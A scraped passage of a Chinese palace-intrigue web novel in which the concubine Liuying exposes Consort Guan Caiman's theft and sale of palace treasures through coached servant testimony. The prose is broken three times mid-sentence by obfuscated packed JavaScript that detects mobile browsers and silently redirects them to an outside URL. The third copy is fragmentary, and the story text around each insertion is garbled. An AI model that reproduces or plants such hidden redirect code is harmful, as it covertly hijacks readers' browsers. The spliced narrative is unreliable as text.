其实内侍监和后宫六局里的人多到数不清,身为管事,他们怎么可能每一个都记得住。 于是挨个上前辨认,也只能是找一找小盛子身上有没有自己那一局里什么特别的地方。 比如尚服局不缺布料,有些耍滑的奴才会偷偷拿给主子裁制衣裳剩下的料子做点荷包装饰之类的。再比如尚食局日日离不开烟火,无论掌不掌勺,大家晚上都睡在一起,身上难免混着油烟味。 虽然小盛子身上尽是腥腻的血,但头发丝里挥散不去的菜油味,还是叫尚食局的管事吓得瞠目结舌。 他哆嗦着手,声音也发颤,腿软跪下去直接磕了两个响头,“皇上,娘娘,此人身上油烟味重,或许……或许是尚食局的。” 管事如遭大难,即使不知道小盛子究竟犯了什么错,他都得被连累。一顿板子还好说,只是千万别降职,不然他就得让下一任管事欺负死。 遂低着头的时候也不忘狠狠看向小盛子,希望这个不知死活的小犊子能赶紧说句话,别再惹贤妃动气了。 但小盛子早已放弃了求生意志,此刻又听到自己被认出,直接连蜷缩的身子都正在一点点打开,像是准备坦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339283|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然迎接死亡一样。 流萤倒是有些佩服。他同春桃刚被拆穿时一样,宁死不说,也算忠仆了。但同样的,他也同春桃一样,都有十分害怕的弱点。那就是他的妹妹,红绡。 “娘娘!求贤妃娘娘饶恕!奴婢有话要说!” 春桃突然扑通一声跪地,顿时吸引了所有目光。 “娘娘恕罪,奴婢认识此人,也知道他究竟干了什么错事。只是方才见江美人受伤,怕说出来自己也会受到牵连才不敢禀告。现在他既然已被认出,奴婢就不敢再知情不报了!” 春桃一遍磕着头,一边高声求饶。 就当一众人都还没反应过来春桃是哪个的时候,闻寻却是率先捕捉到一个关键词,“受到牵连?” 听闻寻沉声发问,贤妃也马上有了联想,春桃是银汉宫的人,难道这里面还有她在捣乱?旋即一个凶恶眼神射向流萤。 流萤视若不见,只是春桃更加恐慌,直接倒豆子一般全说了出来。 “他叫小盛子,有个妹妹叫红绡,曾与我一同在庆祥宫当值,从前他总来给红绡送东西,奴婢见过,不会认错。” “你在庆祥宫当过值?” 贤妃疑惑发问,目光也随之跳转到关采曼身上。看到她惶恐不安的面色,贤妃心里渐渐浮起一丝不妙。 “是……是的,后来我犯了错才被调换来了银汉宫。” 春桃说着也悄悄抬头,看了看关采曼的方向,而后突然像下了某种决心,高喊着,“对不住了充媛娘娘!奴婢真的不想死!” “放肆!你与我说什么死不死的?!跟我有什么关系?!”关采曼惊得直接从椅子上站起来,指着春桃就骂。 “贤妃娘娘,奴婢不敢撒谎。小盛子的那些金豆子,就是拿宫中的物件倒卖出去,再给关充媛换回来的!” “关充媛特意安排我调到没什么人的银汉宫,也是叫我偷银汉宫的东西交给小盛子,好一起卖到宫外去!” 什么?! 贤妃一拍扶手,震得人心嗡嗡作响。 吓得关采曼差点也如同方才的小盛子一样跌坐在地,她强撑着向贤妃解释,“娘娘莫要听她胡说,这事儿怎么可能跟我有关系呢?定是贺才人教唆了她往我身上泼脏水!她可是贺才人的奴婢啊!” “娘娘,奴婢不敢撒谎!”春桃对着贤妃大声抢话道。 “关充媛叫奴婢拿到东西后,只在每月的初一、初十、以及二十这三天里的巳时三刻,在尚食局外两条甬道的拐角处与小盛子碰头,其余一概不见面。” “上月初十,我拿了银汉宫里的一个玉净瓶交给小盛子,那是奴婢第一次做这样的事儿,回来就因心里不安硬是憋出了病来,躺了好几天才能下地干活。” “只是没想到贺才人非但没责罚我,竟然还把她那两天的例汤都给我留了半碗。奴婢真是该死!对不起贺才人一片心意!” 春桃将碰头的时间、地点说得丝毫不差,唯独将碰头的人由红绡说成了小盛子。而后还冲流萤磕了几个响头,像是真的悔过。 “奴婢此后便没脸再做这等事了,小盛子两次不见我,就千方百计借着给贺才人送膳食的间隙催我。说关充媛命令我上点心,别真以为自己是来这儿当奴才的。还警告奴婢,若是再不动手就换了别人来,奴婢也就一辈子都别想出宫了!” “所以今日发现小盛子出了事,奴婢才一直往后躲,害怕会将这次的事也算到奴婢的头上。求娘娘明鉴!那个步摇真的不是奴婢偷拿的!” “但是小盛子具体是怎么帮关充媛跟外头联系上的,奴婢就真的不知道了。奴婢自知犯错之大,甘愿一辈子再宫中戴罪伺候,只求娘娘放过奴婢家中双亲。” 关采曼肺都要气炸了,根本没料到春桃会背叛,她怎么敢的?! 扬手就要掴过去,却被琼英一把拦下,“关充媛勿急,且容她说完,娘娘自有定夺。” 琼英已经瞧出贤妃眼底的愠色,猜她多半是信了。这也不怪别人,谁叫关采曼自己这么沉不住气呢,竟还要动手,再心虚也不是这么个做法儿。 这不就是等于直接承认了吗。 “娘娘,这小蹄子纯属是污蔑啊!嫔妾入宫即是正二品充媛,吃穿度用样样不差,何故要做那种勾当?!再者,倒卖宫中御物换的那区区一点钱财,事败了还不够丢人的,嫔妾就算再不顾及自己脸面,总也得为在朝父亲考虑吧。” 关采曼说得又冲又急,好像声音越洪亮,越能证明她的无辜。 只可惜她气势如虹的反驳,终是抵不过小盛子轻飘飘的几字亲口承认。 “娘娘,您就招了吧。” 38. 百口莫辩 小盛子会招供,自然是流萤算好的。 从春桃供述小盛子会花心思满足妹妹红绡的愿望、甚至冒险给她带回宫外的首饰来看,小盛子对这个妹妹显然是掏心掏肺的疼爱。 若真出了事,小盛子必定会一人抗下所有,哪怕知道自己会死无葬身之地,也绝不会供出妹妹去。 关采曼应该也是深知这一点,才特意选了这兄妹俩帮她做事。为的就是小盛子绝对的守口如瓶。 但软肋总是双刃的。 关采曼能利用这点吃定小盛子,流萤自然也有法子利用这一点叫小盛子反水。 那晚她传唤来春桃亲自交代了那一番说辞,千叮咛万嘱咐,要春桃绝口不提红绡二字,全部推到小盛子身上。 能被关采曼能挑中办事,他必定也是长了个好用的脑子。岂会听不懂春桃的意思?又岂会任这样摘出红绡的好机会溜走? 势必为了能真正保下红绡,而选择与他们统一口径,承认所有罪过,并且咬死关采曼。 只有彻底拖垮了关采曼,红绡往后在宫中才算彻底没了性命威胁。不然,即使侥幸逃过这一劫,等风头过去,关采曼必定要将全部怨气都报复到红绡身上。 是以,小盛子在听清楚春桃的“供词”后,即刻就想明白了其中利弊,哪怕不懂为何春桃要帮红绡,也顺着她的话,有丁有卯地交代了起来。 “皇上,贤妃娘娘。” 小盛子拖着奄奄一息的身子,往众人面前爬蹭出一道血路,直将头叩在地上,“奴才确实是利用职务之便,为关充媛盗卖宫中物件往外换钱,已有一年之久。” 关采曼完全不敢相信自己的耳朵,瞪大了双眼死盯着小盛子。 见他还要张嘴,心中的恐慌一股脑冲上头顶,当即叫关采曼乱了分寸,猛地起身就冲他而去。想一脚踹死他,叫他再不能乱说,却被一旁眼疾手快的琼英一把拉住,眼含警告地将她按回了座位。 小盛子见关采曼如此愤恨,更是一点不敢拿妹妹的将来冒险,加快了语速,只想把他知道的事儿全部抖落干净。 “奴才在尚食局是记录管理每日用材的小工,每逢三逢六的日子轮值,跟着食官公公前往北武门接收和检验光禄寺当天送进来的食材。这才有了接触外界的机会。而光禄寺那头,跟随运送宫廷膳食的队伍里,也有一人是关充媛提早安排好的。正是光禄寺丞的身边一个侍从,粗眉毛大眼睛,细长脸上全是斑点。但关充媛并不让奴才知道那人叫什么。” “奴才每次都是趁着两位大人对数的时候,与那侍从交手。奴才把关充媛给的宝贝给那侍从,他再将上次卖掉的金豆子换给奴才。东西都藏在袖子下用绒布袋装着,天色又黑,动作又快,而且也不是每次碰头都有货,一个月里也就那么一两次。是以一直没有旁人察觉。” “今日那支步摇就是那侍从没转手出去的,说品相差太多,没人要。但奴才明明记得上次给他时还是完完整整的,不知他怎就弄坏了。奴才心里揣着事儿怕回去不好交差,就没注意到隔墙还有人,便……便冲撞了贵人。” 小盛子气息虽虚弱,但说气话来却十分通顺流利,一点不像现场编造的。 众人听了也是各自心下都有了评判,时不时再扫向关采曼就各有深意。 尤其是闻寻,寒潭眼底尽是不屑藏匿的冷漠,看得小盛子犹如吃了定心丸,继续拱火道, “奴才从前经常给关充媛宫中提送膳食,每次打赏从不抠搜,奴才还记关充媛个好。有一次关充媛借口没赏钱了,要我帮她走一趟,还说事成了就分给我一成。奴才贪心,自然也就应下了。” “一而再再而三,奴才便彻底跟着关充媛生财了。起初还犹豫过关充媛是主子,怎会缺钱?后来见得久了便知道原是她打点上下出手太过大方。光是关充媛不吃姜这一点,奴才就替她给徐尚食送过不少东西,这才每顿都能给她单独做一两道不同的菜式。” 小盛子既然决定了要出卖关采曼,索性就什么都不遮不掩。闹越大,关采曼死的可能性才越大,红绡活下去的可能也就越大。 他本就没什么良心,除了妹妹再没一点在乎的。 之前认命死扛也是为了关采曼能看在他忠心的份上以后善待妹妹,然现在有了更能保证妹妹万无一失的法子,小盛子自然就豁出去了,逮谁咬谁。 徐尚食突然听到这里面竟还有自己的事儿,差点吓尿了,忙不迭跪下,将这两年与关采曼之间的来来往往摘了个干净,声泪俱下乞求皇上和贤妃饶恕。 其实花钱买通人这种小事儿,宫里无时无刻不在上演。太微不足道,以至于都快成了后宫中默认的行事法则。 只要钱到位了,就是能比旁人活得更滋润些。这也是为什么无论奴才、还是主子都想往高处走的原因。 贤妃自是没空搭理徐尚食,不耐烦摆摆手撵了他下去,想让小盛子继续交代,不料关采曼却像是承受不了刺激倾数在这一刻爆发,突然大喊起来,“你们血口喷人!我根本不认识你们!” 关采曼被眼前几人气得发抖。但她仍然认为小盛子不是自己宫中的人,只要自己一口咬定没做过,凭他们再言之凿凿也没法真的治她的罪。 偷盗宫中宝物、与还能将手伸到宫外互通有无,无论哪一条都够她关氏一族死上无数次了。叫她如何敢认? 关采曼使劲挣脱着琼英的束缚,想再为自己再辩解两句,奈何贤妃早已没了耐心。只凌厉瞪她一眼,那寒霜般的眼光便化作闸刀,将她嘴边所有的话斩断了回去。 贤妃冷冷问小盛子,“经你手的东西都有什么?” 定罪要讲证据,光听两个奴才的说辞确实还不够。 “多是镏金镯子、翠玉玉牌之类的饰品。因为奴才只能贴身收着,拿不了大件……哦对了,上个月关充媛给过奴才一对东珠耳坠,足换了鼓鼓两大袋金豆子回来,应算是最贵重的一个了。” 小盛子明白贤妃的意思,是想让他说几个在庆祥宫或是别的宫室,查库房能查出缺漏的东西。 但那么多东西他哪儿记得住,就算记住了大概什么样,也实在叫不出名字。所以只能说个最值钱的碰碰运气。 可能老天也看在这是他搏的最后一次,帮了他一帮,竟叫贤妃真的想了起来在闻寻初登基的那年除夕,为大赏后宫,她特拿出百济国的东珠贺礼给每个妃子都打造了一样首饰。 而赐给关采曼的正是她亲自挑选的一对耳坠。 当时贤妃初掌权,急需一个能死心塌地跟在身边,帮她递话给下面嫔妃的人。挑了一圈家世,便是关采曼优先进入了贤妃的视野。 “耳坠上头配的是金扣还是银扣?” 小盛子很意外贤妃竟会问的这么细,不知是在诈他还是真的知道些什么,只能使劲回忆,并把一切都赌在这一回答上,咬咬牙说道, “是银扣!拿在手里花白白一片,快跟珍珠一个色儿,奴才当时还以为是不小心弄坏了,特意多看了两眼。” …… 贤妃听完不再作声,大殿也随之陷入死一样的沉寂。 唯有青蒙蒙的天,悄悄扯下面纱,露出一抹白光,打在关采曼脸上,是说不出的惨白。 琼英蓦地放开不再挣扎的关采曼,衣袖甩下的冷风,让她不禁打了个寒颤。 “不是的娘娘,他撒谎,他污蔑我!他们联合起来往我身上泼脏水!我真的什么都不知道!求您一定要相信我啊!” 关采曼根本没想过小盛子会和盘托出得这么彻底,心头那命悬一线的恐惧让她早已不知该怎么冷静辩解,除了手足无措,疯狂去晃贤妃的衣摆,再做不到别的事情。 咸咸的泪流进干涩的嗓子里,如同被利刃割裂。关采曼分不清是恐惧,还是求生的本能反应,她只知道绝不能承认,绝不能栽在这里。 可模糊视线里最后晃过的一幕,却是贤妃眼底的怀疑之色消失,已渐渐由震怒转为失望。 这是要彻底放弃她了吗? 不! “娘娘!他们一定是受了人指使才这样说的!” “一定是她!” 关采曼倏地调转方向,怒指流萤。 “春桃是她宫中的奴婢,一定是听了她的教唆才胡编出这么多瞎话污蔑我!娘娘,贺之遥才是其心可诛啊!” 关采曼流过泪的眼睛此刻充血充得厉害。红红的血丝暴涨在眼白上,似乎承载了所有的怒气,再不得到释放就会暴毙泣血。 她知道,现在唯有再拉一个人下来把水搅浑,自己才有上岸的可能。 此言一出,所有人的目光又都飞鸟跳换枝头似的,落在了流萤身上。 他们脑子里过着关采曼的话,也觉得今日一切变故的确是始于流萤。如此蹊跷,如果当真是她一手操控,也并非丁点可能没有…… 可流萤却行端坐正,就那么定定接受着所有人的审视,面不红心不跳,丝毫没有被关采曼的控诉影响半分。 只等在闻寻也偏头看向过来的时候,才适时出声。虽细如蚊嗡,却字字清晰。 “春桃?她有说过她叫春桃吗?” 噔! 大殿之上,仿佛有一座大山轰得压塌了下来。明明烟尘四起,周遭却诡谧如渊,众人皆震惊得发不出半个音。 流萤竟这般心细如尘。 饶是阅人无数的贤妃,也不得不对她谨慎犀利的反应高看一眼。 贤妃打量着流萤那张诡魅如血红蔷薇的漂亮脸蛋,优雅艳丽,却深藏危险。不禁起疑难道此事真的是她一手策划? 那送她回来的皇上…… 完了,这下全完了。 关采曼咕咚吞咽了声口水,企图压下快要炸开的心跳,但于事无补,依旧咚咚作响,似要敲碎她所有的思绪。“她……她在庆祥宫做过活儿,我记得她的名儿有什么问题!” “那么敢问关充媛,春桃之前在庆祥宫是做的什么活计呢?院子里杂扫?还是贴身伺候?能叫你如此挂念。” 流萤讥讽一笑,“内侍监刚送春桃来的时候,我还以为是贤妃娘娘体恤我这里宫旷人稀,才特嘱咐安排个手脚麻利又机灵的来。” “没想到竟是你早有鬼心!我就说这么有眼力见儿的婢子,怎么可能只是犯了点小错就被调换地方的呢。” 她语调轻飘,带着七分紧逼,三分不屑。问得关采曼青灰脸上再没有一点血色,即使张了嘴也磕磕绊绊,回答不出一句完整的话。 尤其是说到以为是贤妃派的人时,关采曼抖动不已的眼眸更是顷刻变得黯淡无光,凭谁都能一下子看出她的心虚不轨。 气得贤妃当即一掌拍在桌上,大呵一声叫她跪下,“本宫只给你一次机会,若一五一十说出来,念在你侍奉圣驾三年的份上,可不牵连你父亲。否则,就一并罚了去!” 贤妃此刻无疑是整个大殿之上最最动怒的人。 前有蠢笨莽撞、不知天高地厚的江绮玉,为了子虚乌有的事情险些滑胎。 后又有自以为是、不知死活的关采曼,倒卖御宝公然拆台,往她掌权多年无错漏的功绩上染脏水! 而且还是利用自己交代给她往流萤身边塞人监视的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339284|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便利,去圆她自己的好事,真是太不把她放在眼里了! 若非还用得上她那个在吏部做侍郎的爹,贤妃只想即刻就把关采曼和眼前这几个蠢人一并都杀了! 身边一个长脑子的都没有,叫她拿什么争阮家的话事权?! 贤妃越想越气,蛾眉紧蹙,凤眼含怒,平日端庄的仪容此刻已然布满了阴沉的愠色。就连闻寻看了都微不可见摇摇头,嘴角却还悄悄噙着嘲讽的笑。 “清澜何须给她什么机会?那不是还立着一个人吗?” 闻寻冲汪芷柔点了点下巴,像是在说,也别白叫她来一趟,听听她能说出个什么东西。 汪芷柔突然听到有人说自己,颤颤躬身上前,规矩行了一礼才怯怯问道,“嫔妾愚钝,还不知皇上和娘娘让嫔妾前来所……所为何事?” 后宫之事皆归贤妃协理,此刻本也该是由她来发问,可她却有一刻晃神。 只因皇上已经太久没喊过自己的名字了。 这一声清澜,竟直接让怒火中烧的贤妃蓦地静了下来。虽也不是多么情难自控,但终归还是让她接下来的问话平缓了几分、克制了几分。 似乎漏掉了一半思绪没在眼下的事上,而是恍惚飘回了初到太子府与闻寻相伴的日子。 流萤窥探出贤妃眼底晦暗的变化,再一次暗啧闻寻的凉薄害人。但也不得不为闻寻竖起大拇指,这一句清澜,确实是高。 “你可认得这步摇?” 其实事已到此,基本就是拍案定板了,无需汪芷柔再来指认。但贤妃还是顺着闻寻的话问了。 “这……这是嫔妾的并蒂金步摇,但不是已经……” 汪芷柔挨处摸摸,眼神中的震惊毫不遮掩,看看步摇又看看关采曼,那一脸的欲言又止,任谁瞧了都知是话里有话。 “怎么会在这儿呢?”汪芷柔小声嘀咕着,像是怕认错,又凑到眼前端详得仔细,末了才冲着闻寻举起来,柔柔说道,“皇上,这是嫔妾的。是嫔妾初次……” 她想说初次侍寝,可大庭广众之下终归是臊得慌,咬了下唇改口道, “这是嫔妾刚进宫的时候,您赏给嫔妾的嵌了绿松石的并蒂金步摇,跟赏给贺姐姐的那套银质玉兰点翠的头面前后脚,您可还记得?” 汪芷柔说得再清楚不过,但闻寻却丝毫没有印象。尤其是她说也送了一套头面给流萤? 他几时送过?那会儿不赏她板子都是善待她了。 但还是象征性点了点头,说确有其事。“那怎么坏成这个样子?你弄的?” 闻寻没直接问是不是汪芷柔弄丢了的这种有引导性的话,如此不偏不倚,倒像是个公正明君的态度。得到的答案自然也更叫人信服。 “嫔妾……” 汪芷柔小脸憋得通红,就连眼眶也慢慢开始氤出红圈,叫众人看得一脸懵,谁也不知她为何就突然一副受了莫大委屈的样子。 孔映欢却是比任何人都清楚,也一下子就想到了什么,顾不得自己还戴罪在身,径直打断道,“汪姐姐,该不会这个步摇也是……?” 这俩人打什么哑谜? 该不会什么? 贤妃原本还听得一头雾水,但细看孔映欢向汪芷柔投去的同情眼神,再联想关采曼所犯之事,突然像是明白过劲儿。 敛着愠色问,“是关充媛拿了你的东西?” 关采曼既然都敢把手伸到别的宫去,自己宫中有的自然更不会放过。 汪芷柔颤颤点头,却一点不敢抬起,下巴都快戳到衣领,答道, “关充媛说要帮我打点上下,不然难在宫中立足,是以……是以舍弃些钱财就是必不可少的。她又是庆祥宫的主位娘娘,嫔妾唯有听话。” 汪芷柔说着说着又开始落泪,“只是嫔妾入宫带来的贴己也不富裕,零零散散都给了关充媛,却……却仍过不了半点安生日子。” 梨花带雨的孱弱美人总能惹得怜爱,尤其还是受了伤的。 汪芷柔闭上眼,狠心撩起自己的袖子,道道红痕铺在细白皮肉上触目惊心,光是用看的都能想象到那一下下打在身上得多疼。 关采曼再也控制不住,像是点了火就能窜上天的炮仗,咻地一下从地上站起来。 怒气冲冲大跨步向汪芷柔奔过去,一副活要吃了她的样子,“下贱胚子!你胡说什么?!谁打过你啊?!” 倒卖御物那些事儿她确实干了,败了也就认了。可这汪芷柔,她真是一根手指头都没动过啊! “拉下去!给本宫堵住她的嘴!” 贤妃听不下去关采曼的叫嚷,只冷冰冰继续问汪芷柔,“她为何打你?” “关充媛近来好像和江美人闹了矛盾,每次江美人走后,关充媛都要摔上几样东西。” “前几日江美人带着皇上新赏的春带彩翡翠镯来了庆祥宫,结果傍晚我去伺候关充媛用晚膳,竟看见那镯子戴在了关充媛的手上。” “嫔妾吓坏了,想劝关充媛就此收手,江美人风头正盛,且心气高脾性大,别……别叫她发现了大闹一场才好。但关充媛却嫌我多事,还说都是因为我没有好东西孝敬她了才会出此下策,边说就边……边打了我。” 汪芷柔呜呜咽咽,好不容易将事情说完,脸上的脂粉早已混着泪珠胡乱一片,像个打败架的花猫儿。看得叫人心疼。 “你说什么?!” “那个贱人竟敢把皇上送我的镯子也偷走了?!” 支离破碎却怒气填胸的声音蓦地从背后响起,竟是江绮玉不知几时醒了,自己颤颤巍巍扶着墙走出来了。 39. 九仪收尾 江绮玉的突然出现叫众人皆吃了一惊,尤其是贤妃。本就怒火难压,再一看见同样叫她头大的江绮玉,当即斥责起来,“谁让你下床的!自己身子什么情况不知道吗?还敢乱来!” 如果江绮玉再作妖把这一胎弄掉了,她一定与太后商议重新挑个安分的进来。 后头沈承明听见贤妃怒急,三步并作两步忙跟了出来,“娘娘恕罪,臣等光顾着讨论药方,一不留神没看管好人,这就带江美人回去。” 江绮玉闻言自是不干,还想对峙关采曼问个清楚。要不是关采曼搞出这么多幺蛾子,自己又岂会撞到人险些滑胎!她定要好好算算这笔账。 遂执拗躲着沈承明等人不让他们抓到。沈承明急得冷汗直流,却怎么也不敢向贤妃投以求救眼神。 他被太后钳制多年,早已从骨子里就对阮家女人起了畏惧,贤妃尤更年轻心盛,遇了事只会比太后是风是雨。是以沈承明很清楚,江绮玉若再闹下去,自己一定得跟着吃瓜烙。 幸好闻寻及时开口,救下了他。 “听贤妃的话,进去躺着,朕等会儿送你回去。” 虽只轻飘飘一句话,却也足够春风化雨,叫江绮玉一瞬间就收了大半怨气。即便再不愿,终也一步三回头退回到内室去了。 而这头,汪芷柔却是完全不在意江绮玉所闹,只趁着间隙偷偷瞄向流萤,得到抿唇颔首的信号,才安下心继续道着对关采曼的控诉。 “娘娘,嫔妾委实不敢说谎,您大可派人去关充媛房中搜搜,应该还能搜到江美人那支翡翠镯的!她每次从嫔妾这里得了东西,都要过上十天半月才会告诉嫔妾打点在了什么地方。虽然是谎话,但时间大抵差不了的。” 汪芷柔啜泣跪下,给贤妃磕头。 “娘娘,关充媛欺辱嫔妾并非一朝一夕,庆祥宫上上下下都看在眼里,您随便找来一个奴才都能问出实情。嫔妾每日过得食不甘味、寝不安席,今日既然事已至此,嫔妾偏斗胆恳求娘娘开恩,准了嫔妾换处宫室过活吧!” 汪芷柔砰砰磕头的声音很是沉闷,但每一下却又像极了报时的梆子,精准砸在众人心上,一震一震的。 流萤沉眼,暗暗扣了扣椅子的把手,克制住想扶她起来的冲动。 她倒是舍得对自己下手。 直到汪芷柔的额头已经开始渗血,她终是忍不住开口问了贤妃,“娘娘,嫔妾与汪才人也算交好,若她不嫌银汉宫阴冷偏僻,嫔妾倒是愿意腾出东殿与她相住。” 听流萤大大方方承认与汪芷柔的关系,孔映欢有些意外。这种时候不是撇得越干净越好吗?她怎么反倒把自己牵扯进去? 尤其是看流萤颇为认真的眼神,与江绮玉方才出来看关采曼时顺便剜自己的那一眼作比,如此鲜明,竟蓦地让孔映欢生出几分嫉妒来。 汪芷柔这种废物凭什么还能有靠山? 孔映欢越想越觉得不忿。 她既然能学会占卜算卦,自然就不是白长了脑子。 默默观察了一整晚,纵然还有一些细枝末节尚未搞懂,但她已基本断定,整件事都离不开流萤在背后推波助澜。 不然像私通这种大忌,怎么可能轻易就让别人发现端倪呢? 也怪她当时听到消息太兴奋,没顾得细细思虑就告诉了江绮玉,现在再想来只觉得背脊生寒。 或许等此事过去,自己更应该去找流萤联联手。 她总比汪芷柔那个窝囊废有用吧? 孔映欢如是想着。都是聪明人,相信流萤必定也懂得互帮互助才能爬得更高的这个道理。 她开始暗自思忖该怎么改善一下与流萤的关系,又听那头闻寻抢在贤妃前面定定说了句,“不必!” 闻寻命人即刻去搜庆祥宫,并对汪芷柔承诺,“她绝不可能再有机会踏足庆祥宫半步,你只管安心待着。” 说完起身看了眼天,“朕去早朝,午时过来安仪殿,朕要知道吏部侍郎是否也该换换人了。” 这话自然是对贤妃说的。 他把给关采曼最后定罪的机会留给贤妃,不仅是给予她治理后宫的支持,更是当众表明没有迁怒她御下不当的意思。 贤妃很受用。 虽然闻寻同自己的感情淡了,但拥有协理六宫之权的快乐却更能填满她空虚寂寞的心窝。 不过这一次,贤妃大意,忽略了闻寻的试探,暴露了她真正想要拉拢吏部侍郎的心思。因为就在关采曼被关押冷宫后的第二个月,吏部就多了一个文书主事。虽不姓阮,但却跟贤妃母亲同姓…… 小福子早在闻寻说要送江绮玉回宫的时候,就悄悄安排人备好了单独的轿撵。是以等闻寻出来了看见御撵后面还跟了一顶小轿的时候,眼前一亮,还冲他挑了挑眉,似是满意他的安排。 闻寻要送江绮玉回去,可不是心生后悔想补偿,而是要帮流萤善后。 他知道汪芷柔口中的那个翡翠镯一定是流萤的。 当初她跟自己要了一对一模一样的镯子,就猜到没安好心,但万万没想到竟还牵扯出了另一个臭虫。 确实是叫闻寻觉得有点儿意思。 其实对于关采曼,闻寻并没有太深的印象。只记得贤妃身边总有个狐假虎威、借势凌人的,连卢访烟那样素不爱生事的都厌烦她,足可见不是什么好人。是以三年间召幸的次数屈指可数。 但闻寻有些好奇,关采曼到底怎么惹到了流萤,能让她做这么大一个局,甚至不惜用名声做押,特跟自己要去了一个侍卫。 能单单是因为关采曼动了宫中的东西吗? 闻寻觉得不像,下意识摇了摇头。流萤可不是什么正直的人,生不出什么为民除害的心思。那到底是为什么呢?还有汪芷柔说的那套头面…… 不想太过投入,以至于这摇头四村的一幕叫江绮玉瞧见了还浑然不知。 “皇上~”江绮玉委屈巴巴去搂闻寻胳膊,“嫔妾知错了,以后定不乱跑,就留在宫中好好养胎。您可以多来看看嫔妾吗?” 江绮玉以为闻寻摇头是对自己鲁莽行事生气了,遂连忙解释起来。可今晚之事确实不怪她,谁叫……对呀! “皇上,嫔妾还有话要同您说。” 她突然想起这一切祸事的源头,气得噘起嘴想贴上闻寻讨个说法,却被闻寻灵巧躲开。 江绮玉愣了一下,但也不妨碍她继续告状。 “皇上,您知道嫔妾今日为什么那么晚了还会在外面吗?是因为贺才人!她竟敢与侍卫私会,还叫嫔妾碰个正着!” “私会?”闻寻蹙了下眉,这个词莫名叫他听得刺耳极了。 “正是,嫔妾亲眼看见她跟一个侍卫拉手同行,七拐八拐往银汉宫方向回。事关您的名誉,不然嫔妾也不能这么有闲心去管!皇上,您可一定要彻查此事,若她真是不要脸秽乱宫闱,定不能轻饶了她!” 江绮玉醒来只听到了关采曼那一部分的事儿,自然不知道闻寻早已用自身行动证明了流萤一直跟自己在一起,更不知道所有人都十分默契地选择将此事隐瞒了下去。 偏她还一脸愤恨得意,期待闻寻能对流萤做出什么惩罚。 四号桥不见闻寻越听她说,眼底寒意越深。 但为了尽快拿到江绮玉的那只镯子,闻寻克制住情绪没有揭露,只象征性说会秘密调查,而后便叫宫女赶快伺候她更衣休息。自己则趁着江绮玉不在屋的间隙东翻西找起来,可找了半天也没看见那个镯子,只能甩袖而走。 这可不是我不帮你啊。 殊不知,他心心念念想帮忙找的,其实早已到了流萤手上。 流萤将那只手镯和一支红玛瑙石榴发钗一并交给宝珠,一副‘你瞧,我就说早晚赏要给你’的得意样子。可转过头,对着被药酒杀得龇牙咧嘴的汪芷柔,却全是‘谁叫你自找苦吃’的埋怨眼神。 她没想到汪芷柔竟会通过自残来指控关采曼,已有的那些证据足够关采曼再无翻身之日,为何还要多此一举伤害自己? “我这不是想着万无一失嘛,你别生气啦。”汪芷柔嘶嘶呀呀说着,这事儿确实是她冲动了。 本来乖乖等关采曼走了她再去换了镯子就可以了,但摸黑进关采曼屋可能是太过紧张,她竟手抖一下子杵到柜角,上头包边的铁片好巧不巧还翘了边,瞬间就给她划出一道大口子。 她又急又怕,突然多了这么大一道伤口,担心被人问起不知如何解释,索性举起胳膊怼上柜角硬生生又划出两道。 好在伤口只是长,并不算深,使劲捂一会儿就不流血了。再抓挠附近几下红痕,勉强让她蒙混过关。 “可我说的也是真心话,我确实不想在庆祥宫住了。没了关采曼,不依旧剩一大堆拜高踩低的势利眼奴才?以后换了别的主位娘娘,我真怕重蹈覆撤。” “哪个宫不是那样。” “你这里就不是!可惜皇上不同意我搬来。” 流萤想说他能同意才是出鬼了呢,但其中道理不是一两句话就能跟汪芷柔解释明白的。遂咂咂嘴,换到贺九仪那一侧,换了感激语气,“贺医正,这次可要多谢你了。” 贺九仪停下手中收拾药箱的动作,“不必。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339285|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的声音平平淡淡,泠泠清清,可眼底稍纵即逝的愠气还是叫流萤捕捉到了个尾巴。 他在生气? 生什么气? 觉得太过惊险了? 还是后悔帮她吗? 流萤没有收回视线,只稍稍侧头对着空气喊了声宝珠,叫她领汪芷柔到内室再检查一下身上还有没有别处伤着的地方。 如此明显的避嫌之意,贺九仪明白流萤这是准备跟他解释今日之事了。便收住了要往出走的步子,停下等她。 不料直到汪芷柔二人脚步声彻底消失了,身后也一直没传来流萤说话的声音。良久,贺九仪忍不住疑惑回头,竟看见流萤早已蹲了下去,正给自己行着大礼。 “你这是做什么?” 贺九仪忙去扶流萤,手快碰到肩膀,又觉得不合礼法,倏地攥拳收了起来。只隔空虚扶,催她快快起身。 “之遥欠你一命。” 